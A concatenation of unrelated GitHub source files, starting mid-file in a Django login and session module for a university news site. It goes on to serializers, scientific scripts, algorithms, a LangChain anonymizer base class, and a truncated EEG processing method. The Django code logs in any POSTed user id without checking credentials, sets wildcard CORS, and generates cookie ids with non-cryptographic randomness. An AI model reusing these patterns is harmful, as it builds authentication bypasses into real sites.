response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\n# *****************************************************密码重置********************************************************OK\n\n# **********************************************************************************************************************\n\n# *****************************************************响应页面*******************************************************OK\ndef Regispage(request): #########返回注册页\n title = {\n 'head': '注册',\n 'title': \"欢迎使用山东理工大学新闻网注册系统\",\n 'buttontitle': '注册',\n 'login': 0,\n 'regis': 1,\n 'reset': 0\n }\n return render(request, 'Entry.html', {'title': title,\"RequestHost\":RequestHost})\n\n\ndef Loginpage(request): ############返回登录页\n title = {\n 'head': '登录',\n 'title': \"欢迎使用山东理工大学新闻网登录系统\",\n 'buttontitle': '登录',\n 'login': 1,\n 'regis': 0,\n 'reset': 0\n }\n return render(request, 'Entry.html', {'title': title,\"RequestHost\":RequestHost})\n\n\ndef Resetpwdpage(request): ############返回重置密码页\n title = {\n 'head':'重置密码',\n 'title': \"密码重置\",\n 'buttontitle': '重置',\n 'login': 0,\n 'regis': 0,\n 'reset': 1\n }\n return render(request, 'Entry.html', {'title': title,\"RequestHost\":RequestHost})\n# *****************************************************响应页面**********************************************************\n\n# ***********************************************************************************************************************\n\n# ***********************************************************************************************************************\n#注销\ndef Logouter(request):\n try:\n del request.session[\"username\"]\n del request.session[\"id\"]\n del request.session[\"Email\"]\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n#检查用户登录\ndef CheckLogin(request):\n #0 请求失败\n #1 用户已登录\n # 2:用户未登录\n try:\n # id=request.session.get(\"id\")\n # username = request.session.get(\"username\")\n # Email=request.session.get(\"Email\")\n id = request.POST.get(\"id\")\n #print(\"id**\"+id)\n if id==None:\n response = HttpResponse(json.dumps({\"code\": \"2\"}))\n else:\n per = User.objects.get(id=id)\n request.session['username'] = per.username\n request.session['id'] = per.id\n print(\"perid:\"+str(per.id))\n request.session['Email'] = per.Email\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\ndef GetIP(request):\n try:\n ip = request.POST.get(\"ip\")\n ipcity = request.POST.get(\"ipcity\")\n href = request.POST.get(\"href\")\n id=request.session.get(\"id\")\n timeArray = time.localtime(time.time())\n Time = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n if id==None:\n tlog = TourLog()\n tlog.ip = ip\n tlog.ipcity = ipcity\n tlog.time = Time\n tlog.href = href\n tlog.save()\n response = HttpResponse(json.dumps({\"code\": \"2\"}))\n else:\n ulog=UserLog()\n ulog.userid=id\n ulog.ip=ip\n ulog.ipcity=ipcity\n ulog.time=Time\n ulog.href=href\n ulog.save()\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\ndef SetCookie(request):\n try:\n params=str(request.POST.get(\"params\"))\n uid=decrypt(aes_key, params)\n import random\n seed = \"012456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n sa = []\n for i in range(25):\n sa.append(random.choice(seed))\n cookieid = \"\".join(sa)\n time1 = time.time()\n time2 = (time.time() + 604800)\n try:\n per = User.objects.get(id=uid)\n cookie=Cookie.objects.get(usrid=uid)\n cookie.usrid = uid\n cookie.cid = cookieid\n cookie.time1 = time1\n cookie.time2 = time2\n cookie.save()\n except:\n cookie = Cookie()\n cookie.usrid=uid\n cookie.cid = cookieid\n cookie.time1 = time1\n cookie.time2 = time2\n cookie.save()\n response = HttpResponse(json.dumps({\"code\": \"1\",'cookieid':cookieid}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\ndef GetCookie(request):\n try:\n cid = str(request.POST.get(\"cid\"))\n cookie=Cookie.objects.get(cid=cid)\n uid=cookie.usrid\n usr=User.objects.get(id=uid)\n umane=usr.username\n time1 =float(cookie.time1)\n time2=float(cookie.time2)\n time3=time.time()\n if time3>=time1 and time3<=time2:\n response = HttpResponse(json.dumps({\"code\": \"1\",\"umane\":umane}))\n else:\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response","repo_name":"MHuiG/Karat-Django-Backend","sub_path":"UserAPP/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":26148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"44736727490","text":"from rest_framework import serializers\nfrom schema.models import Applicant, Tutor, Course, Outline\n\n\nclass TutorSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tutor\n fields = '__all__'\n\n\nclass OutlineSerializer(serializers.ModelSerializer):\n class Meta:\n model = Outline\n fields = ('course', 'title', 'description')\n\n\nclass CourseSerializer(serializers.ModelSerializer):\n tutor = TutorSerializer(read_only=True)\n # outline = OutlineSerializer(many=True, read_only=True, required=False)\n\n class Meta:\n model = Course\n fields = '__all__'\n\n\nclass ApplicantSerializer(serializers.ModelSerializer):\n #course = CourseSerializer(many=True, read_only=True)\n\n class Meta:\n model = Applicant\n fields = '__all__'\n","repo_name":"Radi-dev/Class-Enrollment-Backend-Django","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33935126546","text":"#!/usr/bin/env python2.7\nfrom cauv.node import Node\nimport cauv.messaging as msg\n\nimport pygame\n\npygame.init()\nnode=Node('test')\n\nclass test(msg.MessageObserver):\n def __init__(self):\n super(test, self).__init__()\n self.window = pygame.display.set_mode((640,480))\n node.subMessage(msg.RelativePositionMessage())\n node.addObserver(self)\n def onRelativePositionMessage(self, m):\n colour = (255,0,0) if m.object==\"NorthWall\" else ((0,255,0) if m.object==\"BackWall\" else ((0,0,255) if m.object==\"SouthWall\" else (255,255,255)))\n pygame.draw.line(self.window, colour, (320,240), (320+4*m.position.value.east,240-4*m.position.value.north))\n pygame.display.flip()\n def reset(self):\n self.window.fill((0,0,0))\n\nsc = test()\nwhile True:\n raw_input(\"Press enter to reset\")\n sc.reset()\n","repo_name":"lixiii/CAUV_old_software","sub_path":"auv/scripting/tests/3walls_visual.py","file_name":"3walls_visual.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35933371615","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/10/30 21:33\n# @Author : Zhengxin Tang 28453093\n# @Mail : ztan0030@student.monash.edu\n# @File : heapSort2.py\n# @Software: PyCharm\n# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/10/30 20:44\n# @Author : Zhengxin Tang 28453093\n# @Mail : ztan0030@student.monash.edu\n# @File : heapSort1.py\n# @Software: PyCharm\nfrom heap.heapify import *\n\n\n# 使用heapify直接构造了一个最大堆,然后直接反向取出堆元素\n# 省去了将n个元素逐个插入到空堆的过程\ndef heap_sort2(arr):\n n = len(arr)\n heapify = Heapify(arr)\n for i in range(n - 1, -1, -1):\n arr[i] = heapify.extract_max()\n\n\nif __name__ == '__main__':\n b = [1, 4, 2, 3, 7, 5, 9, 8, 10, 6]\n heap_sort2(b)\n print(b)\n","repo_name":"Zhengxin-Tang/bryans-algo","sub_path":"算法和数据结构/algorithm-my-python/heap/heapSort2.py","file_name":"heapSort2.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71531486623","text":"\n#load packages\nimport numpy as np\nfrom netCDF4 import Dataset\nimport cPickle as pickle\n\n#user defined inputs\ndatdir = '/Users/Karen/Desktop/ERAI'\nvar = 'u'\nfileend = '.allyrs.60N10hPa.nc'\nmonth = ['09', '10', '11', '12', '01', '02', '03', '04', '05']\n\n#open netcdf files\nvarnames = dict()\nfor i in range(len(month)):\n varout = var + month[i]\n fname = datdir + '/' + var + '.' + month[i] + fileend\n nc = Dataset(fname)\n varnames[i] = nc.variables[var][:,:,0,0]\n\n#create SSW seasons (Sept-May)\nvar_ssws = np.concatenate((varnames[0][0:varnames[0].shape[0]-1,:], varnames[1][0:varnames[0].shape[0]-1,:],\n varnames[2][0:varnames[0].shape[0]-1,:], varnames[3][0:varnames[0].shape[0]-1,:],\n varnames[4][1:varnames[0].shape[0],:], varnames[5][1:varnames[0].shape[0],:],\n varnames[6][1:varnames[0].shape[0],:],varnames[7][1:varnames[0].shape[0],:],\n varnames[8][1:varnames[0].shape[0],:]),axis=1)\n\n#create time variable for plotting\ntime = [x for x in range(var_ssws.shape[1])]\n\n#####################################################\n#Now, search for SSWs using the two standard criteria\n\n#########################\n#First criterion (u < 0)#\n#########################\nssw_date = []\nssw_year = []\nfor j in range(var_ssws.shape[0]):\n i = 0\n while (i < len(time)):\n if var_ssws[j,i] < 0:\n ssw_date.append(i)\n ssw_year.append(j)\n i = i + 1\n\n######################################################################################\n#Second criterion - events must be separated by 20 CONSECUTIVE days of westerly winds#\n######################################################################################\n\n#First, define a function that filters easterly days to extract SSW central dates\ndef easterly_date_filter(i,n,sep):\n if (len(time) - (ssw_date[i] + n)) >= 20:\n for j in range(n,20+n-1):\n u_tmp = var_ssws[ssw_year[i],ssw_date[i]+j]\n if u_tmp > 0:\n sep = sep + 1\n if sep == 20: #20 consecutive days of westerlies\n count = 0\n ssw_date_new.append(ssw_date[i])\n ssw_year_new.append(ssw_year[i])\n for r in range(ssw_date[i],ssw_date[i]+n):\n if var_ssws[ssw_year[i],r] > 0:\n count = count + 1\n i = i + n - count #go to next SSW\n n = 1\n sep = 1\n return [i, n, sep]\n else:\n n = n + 1 #did not find 20 consecutive days of westerlies yet, repeat\n sep = 1\n return [i, n, sep]\n else:\n i = i + 1\n n = 1\n return [i, n, sep]\n\n#Then, apply function\ni = 0\nn = 1\nsep = 1\nssw_date_new = []\nssw_year_new = []\nsswlist = [i,n,sep]\n\nwhile sswlist[0] < len(ssw_year):\n\n #Treat first easterly day differently (i.e., no reference to separation between this easterly day and the previous).\n if sswlist[0] == 0:\n sswlist = easterly_date_filter(sswlist[0],sswlist[1],sswlist[2])\n\n #this section filters easterly dates within the same year (ie, multiple SSWs per year)\n elif (sswlist[0] != 1) and (ssw_date[sswlist[0]-1]+20 < ssw_date[sswlist[0]]) and (ssw_year[sswlist[0]-1] == ssw_year[sswlist[0]]):\n sswlist = easterly_date_filter(sswlist[0],sswlist[1],sswlist[2])\n\n #this section filters easterly dates in subsequent years\n elif (sswlist[0] != 1) and (ssw_year[sswlist[0]-1] != ssw_year[sswlist[0]]):\n sswlist = easterly_date_filter(sswlist[0],sswlist[1],sswlist[2])\n\n else: #keep looping over the end of the time series (final warming) until the index for the next year arrives\n sswlist[0] = sswlist[0] + 1\n n = 1\n sep = 1\n\n#combine dates and years into one array for pickling\nssw_central_dates = np.vstack((ssw_date_new,ssw_year_new))\n\n#pickle for later use\nwith open('ERAI_ssw_central_dates.pickle','wb') as fp:\n pickle.dump(ssw_central_dates,fp)\n","repo_name":"kls2177/start-trop-coupling-linear-interference-diags","sub_path":"SSW_central_dates.py","file_name":"SSW_central_dates.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24563540547","text":"from abc import ABC, abstractmethod\nfrom typing import Callable, List, Optional\n\nfrom langchain_experimental.data_anonymizer.deanonymizer_mapping import MappingDataType\nfrom langchain_experimental.data_anonymizer.deanonymizer_matching_strategies import (\n exact_matching_strategy,\n)\n\nDEFAULT_DEANONYMIZER_MATCHING_STRATEGY = exact_matching_strategy\n\n\nclass AnonymizerBase(ABC):\n \"\"\"\n Base abstract class for anonymizers.\n It is public and non-virtual because it allows\n wrapping the behavior for all methods in a base class.\n \"\"\"\n\n def anonymize(\n self,\n text: str,\n language: Optional[str] = None,\n allow_list: Optional[List[str]] = None,\n ) -> str:\n \"\"\"Anonymize text\"\"\"\n return self._anonymize(text, language, allow_list)\n\n @abstractmethod\n def _anonymize(\n self, text: str, language: Optional[str], allow_list: Optional[List[str]] = None\n ) -> str:\n \"\"\"Abstract method to anonymize text\"\"\"\n\n\nclass ReversibleAnonymizerBase(AnonymizerBase):\n \"\"\"\n Base abstract class for reversible anonymizers.\n \"\"\"\n\n def deanonymize(\n self,\n text_to_deanonymize: str,\n deanonymizer_matching_strategy: Callable[\n [str, MappingDataType], str\n ] = DEFAULT_DEANONYMIZER_MATCHING_STRATEGY,\n ) -> str:\n \"\"\"Deanonymize text\"\"\"\n return self._deanonymize(text_to_deanonymize, deanonymizer_matching_strategy)\n\n @abstractmethod\n def _deanonymize(\n self,\n text_to_deanonymize: str,\n deanonymizer_matching_strategy: Callable[[str, MappingDataType], str],\n ) -> str:\n \"\"\"Abstract method to deanonymize text\"\"\"\n\n @abstractmethod\n def reset_deanonymizer_mapping(self) -> None:\n \"\"\"Abstract method to reset deanonymizer mapping\"\"\"\n","repo_name":"langchain-ai/langchain","sub_path":"libs/experimental/langchain_experimental/data_anonymizer/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":68990,"dataset":"github-code","pt":"7"} +{"seq_id":"32643084577","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation\r\nfrom IPython.display import HTML\r\nfrom numba import jit, types\r\nmatplotlib.rcParams['animation.embed_limit'] = 2**128\r\nfrom Wave_func_propagation import *\r\n\r\n@jit(forceobj=True, fastmath=True, error_model='numpy', parallel=True)\r\ndef probability_density(wave, Desired_t, dx, pot_size, x_axis):\r\n\r\n left_barier, righ_barier = int(len(x_axis)/2 - pot_size[0]/2), int(len(x_axis)/2 + pot_size[0]/2)\r\n\r\n\r\n probability_tot = np.abs(wave[Desired_t])**2\r\n probability_trans = np.abs(wave[Desired_t,righ_barier:])**2\r\n probability_reflec = np.abs(wave[Desired_t,:left_barier])**2\r\n\r\n normalisation_check1 = np.sum(probability_tot)*dx\r\n normalisation_check2 = np.sum(probability_trans)*dx + np.sum(probability_reflec)*dx\r\n normalisation_trans = np.sum(probability_trans)*dx\r\n normalisation_reflec = np.sum(probability_reflec)*dx \r\n\r\n \r\n\r\n return probability_tot, normalisation_trans, normalisation_reflec\r\n\r\n# @jit(forceobj=True, fastmath=True, error_model='numpy', parallel=True)\r\ndef transmition(pot_barrier, Energis, pot_size, sigma_x, x_s, L, hbar, m, K, C, t_dep_pot=False):\r\n\r\n k_0 = np.sqrt(2*m*Energis[:])/hbar\r\n \r\n transmition_probabilitis = np.zeros(len(Energis))\r\n #print(transmition_probabilitis.shape)\r\n \r\n for i in range(len(Energis)):\r\n \r\n k = k_0[i]\r\n print('Round:',i+1)\r\n Psi_t, psi_imag_t, psi_real_t, x_axis, dx, T, N_t, harm_pot_animat = Psi_propagation(Psi_initial, pot_barrier, sigma_x, x_s, hbar,\r\n m, L, k, K, C, pot_size, t_dep_pot)\r\n #print(Psi_t.shape)\r\n probability_tot, transmition_probabilitis[i], normalisation_reflec = probability_density(Psi_t, -1, dx, pot_size, x_axis)\r\n \r\n\r\n return transmition_probabilitis\r\n\r\n@jit(forceobj=True, fastmath=True, error_model='numpy', parallel=True)\r\ndef transmition_for_omega(pot_barrier, freq, sigma_x, x_s, hbar, m, L, k, K, C, barrier_size, well_size, barrier_hight, E_resonance, phase):\r\n\r\n transmition_probabilitis = np.zeros(len(freq))\r\n\r\n for i in range(len(freq)):\r\n print('Round:',i+1)\r\n pot_size = np.array([barrier_size, well_size, barrier_hight, E_resonance, freq[i]], phase)\r\n\r\n Psi_t, psi_imag_t, psi_real_t, x_axis, dx, T, N_t, harm_pot_animat = Psi_propagation(Psi_initial, pot_barrier, sigma_x, x_s, hbar,\r\n m, L, k, K, C, pot_size, t_dep_pot=True)\r\n\r\n probability_tot, transmition_probabilitis[i], normalisation_reflec = probability_density(Psi_t, -1, dx, pot_size, x_axis)\r\n \r\n\r\n return transmition_probabilitis\r\n\r\n\r\n@jit(forceobj=True, fastmath=True, error_model='numpy', parallel=True)\r\ndef transmition_for_V1(pot_barrier, V1, sigma_x, x_s, hbar, m, L, k, K, C, barrier_size, well_size, barrier_hight, omega, phase):\r\n\r\n transmition_probabilitis = np.zeros(len(V1))\r\n\r\n for i in range(len(V1)):\r\n # print('Round:',i+1)\r\n pot_size = np.array([barrier_size, well_size, barrier_hight, V1[i], omega, phase])\r\n\r\n Psi_t, psi_imag_t, psi_real_t, x_axis, dx, T, N_t, harm_pot_animat = Psi_propagation(Psi_initial, pot_barrier, sigma_x, x_s, hbar,\r\n m, L, k, K, C, pot_size, t_dep_pot=True)\r\n\r\n probability_tot, transmition_probabilitis[i], normalisation_reflec = probability_density(Psi_t, -1, dx, pot_size, x_axis)\r\n \r\n\r\n return transmition_probabilitis\r\n\r\n\r\ndef transmition_for_phase(pot_barrier, phase, sigma_x, x_s, hbar, m, L, k, K, C, barrier_size, well_size, barrier_hight, omega, V1):\r\n\r\n transmition_probabilitis = np.zeros(len(phase))\r\n\r\n for i in range(len(phase)):\r\n print('Round:',i+1)\r\n pot_size = np.array([barrier_size, well_size, barrier_hight, V1, omega, phase[i]])\r\n\r\n Psi_t, psi_imag_t, psi_real_t, x_axis, dx, T, N_t, harm_pot_animat = Psi_propagation(Psi_initial, pot_barrier, sigma_x, x_s, hbar,\r\n m, L, k, K, C, pot_size, t_dep_pot=True)\r\n\r\n probability_tot, transmition_probabilitis[i], normalisation_reflec = probability_density(Psi_t, -1, dx, pot_size, x_axis)\r\n \r\n\r\n return transmition_probabilitis","repo_name":"Stefanochsenfeld/Bachelor-thesis-code","sub_path":"Bachelor/Transmiton_prob.py","file_name":"Transmiton_prob.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74226756702","text":"#!/usr/bin/python3\n#-*-coding:utf-8-*-\n\"\"\"\n11. 盛最多水的容器\nhttps://leetcode-cn.com/problems/container-with-most-water/\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def maxArea(self, height: List[int]):\n l, r = 0, len(height)-1\n max_area = 0\n while l < r:\n area = min(height[l],height[r]) * (r-l)\n max_area = max(max_area, area)\n if height[l] < height[r]:\n l = l + 1\n else:\n r -= 1\n return max_area\n\nif __name__ == \"__main__\":\n Solu = Solution()\n result = Solu.maxArea([1,8,6,2,5,4,8,3,7])\n print(result)\n \n \n \n \n \n \n ","repo_name":"hiyongz/AlgorithmNotes","sub_path":"01-Arrays-List/maxArea.py","file_name":"maxArea.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72219026782","text":"# \"What is your current age?\"\n# \"You have ___ days, ____ weeks, and ____ months left\"\n\n# 1 year = 365 days, 52 weeks, 1 year\n\ndef Life_In_Weeks():\n total_days = 90 * 365\n total_weeks = 90 * 52\n total_months = 90 * 12\n \n age = int(input(\"What is your current age? (Years): \"))\n\n rem_days = total_days - (age * 365)\n rem_weeks = total_weeks - (age * 52)\n rem_months = total_months - (age * 12)\n\n print(f\"You have {rem_days} days, {rem_weeks} weeks, and {rem_months} months left!\")\n\n\nLife_In_Weeks()\n","repo_name":"lnalewaja/100DaysOfCodePython","sub_path":"Day02 - Data Types/Life_In_Weeks.py","file_name":"Life_In_Weeks.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"74182820382","text":"def realtime_process(self, delay, badchans, nchansparticipant, trigchan, featurenames, channelofints,\n foilows, foihighs, blocksize_sec, num_plvsimevents, aep_data, units, remfirstsample, exp_name):\n '''\n numparticipants number of participants\n channelofints list of lists containing channels corresponding to different regions of the brain\n for which psd is calculated\n foilows list\n foihighs list\n aep_data list of lists [[participant 1 info], [participant 2 info],...]\n '''\n self.ftc = FieldTrip.Client()\n\n self.prevsamp = 0\n\n # if filepath.endswith('.bdf'):\n # fullraw = read_raw_bdf(filepath, preload=True)\n # if filepath.endswith('.set'):\n # fullraw = read_raw_eeglab(filepath, preload=True)\n #\n #\n # fulldata = fullraw._data\n\n # self.filepath = filepath\n # print(\"Total Samples Received = {}\".format(fulldata.shape[1]))\n\n # Initiate list of lists to store psd values for one participant\n psds = [[] for i in range(len(channelofints))]\n plv_intra1 = []\n plv_inter = []\n plv_intra2 = []\n aeps = [[] for i in range(len(aep_data))]\n exB_AEPlist = [[] for i in range(len(aep_data))]\n exE_AEPlist = [[] for i in range(len(aep_data))]\n aepxvallist = [[] for i in range(len(aep_data))]\n # intra1_tm = []\n # intra2_tm = []\n # inter_tm = []\n\n data_dict = OrderedDict()\n data_dict['Intra 1'] = []\n data_dict['Intra 2'] = []\n data_dict['Inter'] = []\n\n # For plotting\n if self.plotpref != 'none':\n if self.plotpref == 'participant' or self.plotpref == 'both':\n # plt.close(self.fig)\n fig, ax = plt.subplots(1, 3, squeeze=False,\n figsize=(self.windowsize * 3, self.windowsize))\n print(\"REALTIME ANALYSIS MODE\")\n print(\"Waiting for first data segment from port: \", self.dataport)\n loop = True\n initial_wait = True\n\n while True:\n wait_time = 0\n while True:\n self.ftc.connect('localhost', self.dataport) # might throw IOError\n H = self.ftc.getHeader()\n fsample = H.fSample\n blocksize = round(blocksize_sec * fsample)\n currentsamp = H.nSamples\n\n if H.nSamples == self.prevsamp + blocksize:\n initial_wait = False\n break\n else:\n time.sleep(delay)\n if not initial_wait:\n wait_time += 1\n if wait_time > blocksize_sec * (1 / delay):\n loop = False\n print(\"\\n\", \"-\" * 60)\n print(\"\\nEXPERIMENT ENDED: After {0} seconds, not enough data was received to fill one block. \"\n \"Number of unprocessed samples: {1}\"\n .format(blocksize_sec, H.nSamples - self.prevsamp))\n break\n\n # Check presence of header\n # if H is None:\n # print('Failed to retrieve header!')\n # sys.exit(1)\n # # Check presence of channels\n # if H.nChannels == 0:\n # print('no channels were selected')\n # sys.exit(1)\n\n # time.sleep(self.delay)\n time1 = timer()\n time3 = timer()\n\n # if currentsamp != self.prevsamp + blocksize:\n # print('received inconsistent number of samples: {}. experiment ending'.format(currentsamp - self.prevsamp))\n # loop = False\n\n if loop:\n print(\"\\n\", \"-\" * 60)\n print('\\nCONNECTED: Header retrieved for segment: ' + str(self.segment))\n print(\"Trying to read from sample {0} to {1}. Samples per block: {2}\".format(self.prevsamp, currentsamp - 1,\n blocksize))\n print(\"Total Samples Received = {}\".format(currentsamp))\n\n segmentdata = self.ftc.getData(\n index=(self.prevsamp, currentsamp - 1)).transpose() # receive data from buffer\n\n self.prevsamp = currentsamp\n\n print('Samples retrieved for segment: ' + str(self.segment))\n print('Data shape (nChannels, nSamples): {}'.format(segmentdata.shape))\n print(segmentdata)\n\n stimvals = segmentdata[int(trigchan), :] * 1000000\n segmentdata = np.delete(segmentdata, int(trigchan), axis=0)\n\n participant_data = []\n idx = 0\n while idx < segmentdata.shape[0]:\n participant_data.append(segmentdata[int(idx):idx + nchansparticipant, :])\n idx += nchansparticipant\n\n # D1 = fulldata[0:128, self.prevsamp:currentsamp]\n # D2 = fulldata[128:256, self.prevsamp:currentsamp]\n\n participant_raws = []\n for i, participant in enumerate(participant_data):\n raw = self.make_raw(participant, stimvals, fsample, units)\n raw = self.preprocess_raw(raw, badchans[i])\n participant_raws.append(raw)\n print('Sub Data shape (nChannels, nSamples): {0} for participant {1}'.format(participant.shape,\n i + 1))\n del raw # Delete raw variable so it does not interfere with next loop\n\n # Change channel names so that we can now append the two subjects together\n for i, participantraw in enumerate(participant_raws):\n chnames = {}\n for n, name in enumerate(participantraw.ch_names):\n chnames.setdefault(name, str(n + i * nchansparticipant))\n participantraw.rename_channels(chnames)\n del chnames\n\n raw = participant_raws[0].copy()\n idx = 1\n while idx < len(participant_raws):\n raw = raw.add_channels([participant_raws[idx]], force_update_info=True)\n idx += 1\n\n # Preprocessing got rid of the stim channel, so now we add the stim channel back in\n info_stim = mne.create_info(['stim'], sfreq=fsample, ch_types=['stim'])\n raw_stim = RawArray(np.asarray(stimvals).reshape(1, len(stimvals)), info_stim)\n raw = raw.add_channels([raw_stim], force_update_info=True)\n\n time2 = timer()\n print(\"Time to recieve data and create MNE raw: {}\".format(time2 - time1))\n # print(\"\\n\", \"1-\" * 60)\n self.stim_idx = self.TrigChan\n self.stim_values = stimvals\n print('STIM CHANNEL: ', self.stim_idx, self.stim_values)\n\n # Extract features\n ################## PSDs #################################################\n time1 = timer()\n\n for idx, chans in enumerate(channelofints):\n i = np.mod(idx, len(\n foilows)) # Adjust for the fact that channels are different amongst subjects, but fois are the same\n psds[idx] = psd(raw, psds[idx], chans, foilows[i], foihighs[i], fsample)\n\n time2 = timer()\n print(\"Time to compute 6 PSDs: {}\".format(time2 - time1))\n print(\"\\n\", \"2-\" * 60)\n\n ############################################################################\n\n ########################### AEPs ##########################################\n time1 = timer()\n\n for idx, participant in enumerate(aep_data):\n channelofint = participant[0]\n epoeventval = participant[1]\n pretrig = participant[2]\n posttrig = participant[3]\n aeps[idx], exB_AEPlist[idx], exE_AEPlist[idx], aepxvallist[idx], = aep(raw, aeps[idx],\n exB_AEPlist[idx],\n exE_AEPlist[idx],\n aepxvallist[idx], fsample,\n blocksize, channelofint,\n epoeventval, pretrig,\n posttrig, stimvals,\n self.segment)\n print(aeps[idx])\n time2 = timer()\n print(\"Time to compute 2 AEPs: {}\".format(time2 - time1))\n print(\"\\n\", \"3-\" * 60)\n\n ##################################PLVs#####################################\n time1 = timer()\n\n # numblocks = 10\n intra1, inter, intra2 = plv(raw, self.segment, blocksize, fsample, num_plvsimevents)\n plv_intra1.append(intra1)\n plv_inter.append(inter)\n plv_intra2.append(intra2)\n\n time2 = timer()\n print(\"Time to compute PLV: {}\".format(time2 - time1))\n print(\"\\n\", \"4-\" * 60)\n\n ############################################################################\n\n ###############Make Datastructure to make plotting easier###################\n # AEPs\n for idx, participant in enumerate(aeps):\n name = 'AEP ' + str(idx + 1)\n data_dict[name] = participant\n # namenorm = 'AEP ' + str(idx + 1) + ' norm'\n # data_dict[namenorm] = self.moving_average(participant, norm=True, rmzero=False)\n\n # PSDs, band names are passed from config file\n for idx, name in enumerate(featurenames):\n data_dict[name] = psds[idx]\n\n data_dict['PLV 1'] = plv_intra1\n data_dict['PLV 2'] = plv_intra2\n data_dict['PLV inter'] = plv_inter\n\n intra1_tm, intra2_tm, inter_tm = self.calculate_tmflow(data_dict)\n\n data_dict['Intra 1'] = (intra1_tm)\n data_dict['Intra 2'] = (intra2_tm)\n data_dict['Inter'] = (inter_tm)\n\n print(data_dict.values())\n if (self.segment == 2) & remfirstsample:\n for key, value in data_dict.items():\n if key in ['Intra 1', 'Intra 2', 'Inter']:\n print(\"yote\")\n valuecopy = value\n valuecopy[0] = 0.0\n print(value)\n print(valuecopy)\n data_dict[key] = valuecopy\n print(data_dict.values())\n ############################################################################\n\n if self.plotpref != 'none':\n print(\"\\nGenerating Plots...\")\n time1 = timer()\n if self.plotpref == 'participant' or self.plotpref == 'both':\n ax[0, 0].cla()\n ax[0, 1].cla()\n ax[0, 2].cla()\n\n x = np.arange(1, len(data_dict['Intra 1']) + 1)\n\n ax[0, 0].bar(x, data_dict['Intra 1'], width=0.4, color='red') # index for flow intra 1\n ax[0, 1].bar(x, data_dict['Inter'], width=0.4, color='blue') # index for plv inter\n ax[0, 2].bar(x, data_dict['Intra 2'], width=0.4, color='green') # index for plv intra 2\n\n # ax[0, 0].plot(x, data_dict['Intra 1'], color='red') # index for flow intra 1\n # ax[0, 1].plot(x, data_dict['Inter'], color='blue') # index for plv inter\n # ax[0, 2].plot(x, data_dict['Intra 2'], color='green') # index for plv intra 2\n\n ax[0, 0].set_ylim(0, 10)\n ax[0, 1].set_ylim(0, 10)\n ax[0, 2].set_ylim(0, 10)\n\n ax[0, 0].set(title='Intra 1', xlabel='Segment #', ylabel='Score')\n ax[0, 1].set(title='Inter', xlabel='Segment #', ylabel='Score')\n ax[0, 2].set(title='Intra 2', xlabel='Segment #', ylabel='Score')\n # self.fig.suptitle('Data Segment 